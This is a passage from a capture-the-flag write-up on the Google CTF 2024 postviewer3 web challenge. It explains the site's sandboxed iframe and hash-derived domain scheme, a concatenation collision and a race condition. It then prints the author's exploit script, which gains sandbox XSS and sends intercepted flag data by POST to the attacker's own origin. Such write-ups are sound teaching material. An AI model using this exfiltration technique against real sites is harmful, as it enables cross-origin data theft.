class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> blob <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>body<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">type</span><span class="token operator">:</span> mimeType <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    window<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>    e<span class="token punctuation">.</span>source<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token string">'blob loaded'</span><span class="token punctuation">,</span> e<span class="token punctuation">.</span>origin<span class="token punctuation">)</span><span class="token punctuation">;</span>    location<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span>blob<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Essentially, it checks a few things:</p><ol><li>Whether the origin of <code>onmessage</code> matches the origin in the URL</li><li>After hashing the incoming data, whether it matches the domain name</li></ol><p>If both conditions are met, the incoming body is turned into a blob and loaded into this blob.</p><p>Now, let’s go back to the iframe mentioned earlier. After the iframe in <code>shim.html</code> finishes loading, it sends a postMessage to this iframe, passing the fixed HTML mentioned earlier, which is:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>utf-8<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>Evaluator<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">      <span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>source <span class="token operator">!==</span> parent<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>          <span class="token keyword">throw</span> <span class="token operator">/</span>not parent<span class="token operator">/</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>eval<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>          <span class="token function">eval</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>eval<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>      <span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        parent<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token string">'loader ready'</span><span class="token punctuation">,</span><span class="token string">'*'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">      <span class="token selector">body</span><span class="token punctuation">&#123;</span>        <span class="token property">padding</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span>        <span class="token property">margin</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token selector">iframe</span><span class="token punctuation">&#123;</span>        <span class="token property">width</span><span class="token punctuation">:</span> 100vw<span class="token punctuation">;</span>        <span class="token property">height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span>        <span class="token property">border</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token selector">.spinner</span> <span class="token punctuation">&#123;</span>        <span class="token property">background</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span>https://storage.googleapis.com/gctf-postviewer/spinner.svg<span class="token punctuation">)</span></span> center no-repeat<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token selector">.spinner iframe</span><span class="token punctuation">&#123;</span>        <span class="token property">opacity</span><span class="token punctuation">:</span> 0.2      <span class="token punctuation">&#125;</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>spinner<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Therefore, the content of the iframe will become the above HTML, simply evaluating the passed parameters.</p><p>In the final step, a postMessage is sent to this iframe, including the file’s content and mimeType, and then the following code is evaluated:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> container <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>container<span class="token punctuation">.</span>textContent <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span><span class="token keyword">const</span> iframe <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'iframe'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>iframe<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>body<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">type</span><span class="token operator">:</span> e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>type<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>sandbox<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  iframe<span class="token punctuation">.</span>sandbox <span class="token operator">=</span> e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>sandbox<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>iframe<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">=></span><span class="token punctuation">&#123;</span>  container<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">'spinner'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">5000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>iframe<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">=></span><span class="token punctuation">&#123;</span>    container<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">'spinner'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Thus, within this iframe, there will be another sandboxed iframe containing the file’s content.</p><p>Seems complex, right? I had to go through it several times to understand the entire process and even drew a diagram for reference:</p><p><img src="/img/google-ctf-2024-writeup/p2.png" alt="flow"></p><p>While solving this challenge, initially, I wondered if these <code>onmessage</code> events could be compromised, but upon further thought, I realized it was not possible.</p><p>All iframes validate against <code>source.origin</code>, preventing messages from unauthorized origins. On the other hand, it’s evident that we can obtain some sandbox XSS, simply by calculating a hash with our own origin.</p><p>However, having a random sandbox XSS is not useful. Is it possible to obtain a sandbox domain XSS that contains the flag?</p><p>The hash for generating the domain consists of the following four elements:</p><ol><li>body (fixed)</li><li>product (fixed)</li><li>window.origin (fixed)</li><li>location.href (includes hash, but we don’t know the hash content)</li></ol><p>My initial thought was, could we manipulate the code at this point to reset <code>location.hash</code> to empty, making all content known and allowing us to calculate the hash?</p><p>The code for handling the hash is as follows:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token function-variable function">processHash</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  safeFrameModal<span class="token punctuation">.</span><span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> hash <span class="token operator">=</span> location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>hash<span class="token punctuation">.</span>length <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">;</span>    location<span class="token punctuation">.</span>hash <span class="token operator">=</span> filesList<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">)</span><span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token punctuation">.</span>id<span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> fileDiv <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>fileDiv <span class="token operator">===</span> <span class="token keyword">null</span> <span class="token operator">||</span> <span class="token operator">!</span>fileDiv<span class="token punctuation">.</span>dataset<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>  previewIframeDiv<span class="token punctuation">.</span>textContent <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>  <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">previewFile</span><span class="token punctuation">(</span>db<span class="token punctuation">.</span><span class="token function">getFile</span><span class="token punctuation">(</span>fileDiv<span class="token punctuation">.</span>dataset<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">,</span> previewIframeDiv<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">/* If modal is not shown remove hash */</span>  <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>previewModalDiv<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">'show'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      location<span class="token punctuation">.</span>hash <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'hashchange'</span><span class="token punctuation">,</span> processHash<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>There is an <code>await sleep(0)</code> in the middle, making the subsequent operations asynchronous. Theoretically, we could create a race condition to obtain a hash of <code>#0</code>, which then becomes the flag file ID. However, when it reaches <code>previewFile</code>, <code>location.hash</code> changes to <code>#</code>.</p><p>Upon further consideration, I realized this approach was also futile because the trusted origin remains the domain of the challenge. Even if we knew the hash, we couldn’t take any action.</p><p>But shortly after, I revisited the code for generating the hash:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>strings</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> encoder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TextEncoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> string <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> crypto<span class="token punctuation">.</span>subtle<span class="token punctuation">.</span><span class="token function">digest</span><span class="token punctuation">(</span><span class="token string">"SHA-256"</span><span class="token punctuation">,</span> encoder<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">,</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Here, the four parameters passed are simply concatenated together. For this challenge, each parameter is as follows:</p><pre class="line-numbers language-none"><code class="language-none">body: BODYproduct: postviewerorigin: https:&#x2F;&#x2F;postviewer3-web.2024.ctfcompetition.comhref: https:&#x2F;&#x2F;postviewer3-web.2024.ctfcompetition.com&#x2F;#file-sha1-hash<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>The resulting concatenation is:</p><pre class="line-numbers language-none"><code class="language-none">BODYpostviewer&#123;CHALL_ORIGIN&#125;&#123;CHALL_ORIGIN&#125;&#x2F;#file-sha1-hash<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If we could truly control the hash, it could become like this:</p><pre class="line-numbers language-none"><code class="language-none">BODYpostviewer&#123;CHALL_ORIGIN&#125;&#123;CHALL_ORIGIN&#125;&#x2F;#postviewerhttps:&#x2F;&#x2F;example.com<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>In this case, the output below would yield the same result:</p><pre class="line-numbers language-none"><code class="language-none">body: BODYpostviewer&#123;CHALL_ORIGIN&#125;&#123;CHALL_ORIGIN&#125;&#x2F;#product: postviewerorigin: https:&#x2F;&#x2F;example.comhref: &#39;&#39;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>At this point, the <code>origin</code> has become our own domain, so we can forge a sandbox domain with the same hash and trust our own origin.</p><p>Once we have the sandbox XSS, it’s simple. My original idea was since it’s now same-origin, just overwrite <code>onmessage</code> or <code>Blob</code>, intercept the input, as the iframe containing the flag cannot be accessed because the origin will be null.</p><p>In summary, the idea is roughly as above. However, the most difficult part is how to trigger this race condition. My own exploit is as follows:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>log</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> <span class="token function-variable function">sleep</span> <span class="token operator">=</span> <span class="token parameter">ms</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">const</span> callbackUrl <span class="token operator">=</span> window<span class="token punctuation">.</span>origin  <span class="token keyword">const</span> evaluatorHtml <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&#123;NOT_IMPORTANT&#125;</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>  <span class="token keyword">function</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> arr      <span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">)</span> <span class="token operator">*</span> a <span class="token operator">+</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>strings</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> encoder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TextEncoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> string <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> crypto<span class="token punctuation">.</span>subtle<span class="token punctuation">.</span><span class="token function">digest</span><span class="token punctuation">(</span><span class="token string">'SHA-256'</span><span class="token punctuation">,</span> encoder<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getSandboxXss</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> selfOrigin <span class="token operator">=</span> window<span class="token punctuation">.</span>origin      <span class="token keyword">const</span> <span class="token constant">PRODUCT</span> <span class="token operator">=</span> <span class="token string">'postviewer'</span>      <span class="token keyword">const</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">body</span><span class="token operator">:</span> evaluatorHtml <span class="token operator">+</span> <span class="token string">'postviewerhttps://postviewer3-web.2024.ctfcompetition.comhttps://postviewer3-web.2024.ctfcompetition.com/#'</span><span class="token punctuation">,</span>        <span class="token literal-property property">salt</span><span class="token operator">:</span> <span class="token string">''</span><span class="token punctuation">,</span>        <span class="token literal-property property">mimeType</span><span class="token operator">:</span> <span class="token string">'text/html; charset=utf-8'</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>body<span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token punctuation">,</span> selfOrigin<span class="token punctuation">,</span> data<span class="token punctuation">.</span>salt<span class="token punctuation">)</span><span class="token punctuation">;</span>      log<span class="token punctuation">.</span>innerText <span class="token operator">+=</span> <span class="token string">'hash:'</span> <span class="token operator">+</span> hash      <span class="token keyword">const</span> url <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://sbx-</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>hash<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">.postviewer3-web.2024.ctfcompetition.com/postviewer/shim.html?o=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>selfOrigin<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span>      <span class="token keyword">const</span> iframe <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'iframe'</span><span class="token punctuation">)</span>      iframe<span class="token punctuation">.</span>src <span class="token operator">=</span> url      iframe<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        iframe<span class="token punctuation">.</span>contentWindow<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span>data<span class="token punctuation">,</span> <span class="token string">'*'</span><span class="token punctuation">)</span>        <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>          iframe<span class="token punctuation">.</span>contentWindow<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>            <span class="token literal-property property">eval</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/step_1_xss');                        let stop = false            for(let i=1; i&lt;=3; i++) &#123;              fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/open_' + i)              let win = window.open("https://postviewer3-web.2024.ctfcompetition.com/")                            setTimeout(() => &#123;                setInterval(function() &#123;                  if (stop) return                  win.location = "https://postviewer3-web.2024.ctfcompetition.com/#0"                &#125;, 2)                setInterval(function()&#123;                  if (stop) return                  win.location = "https://postviewer3-web.2024.ctfcompetition.com/#postviewer</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>window<span class="token punctuation">.</span>origin<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"                &#125;, 6)                setInterval(function() &#123;                  if (stop) return                  try &#123;                    win.frames[0].origin                    stop = true                                        fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/correct_sandbox')                    win.frames[0].onmessage = function(e) &#123;                      fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/flag', &#123; method: 'POST', body: JSON.stringify(e.data) &#125;)                    &#125;                    win.frames[0].Blob = function(a) &#123;                      fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/ping')                      fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/flag', &#123; method: 'POST', body: a &#125;)                    &#125;                  &#125; catch (err) &#123;&#125;                &#125;, 2)              &#125;, 500)            &#125;            </span><span class="token template-punctuation string">`</span></span>          <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token string">'*'</span><span class="token punctuation">)</span>          <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span>      document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>iframe<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token 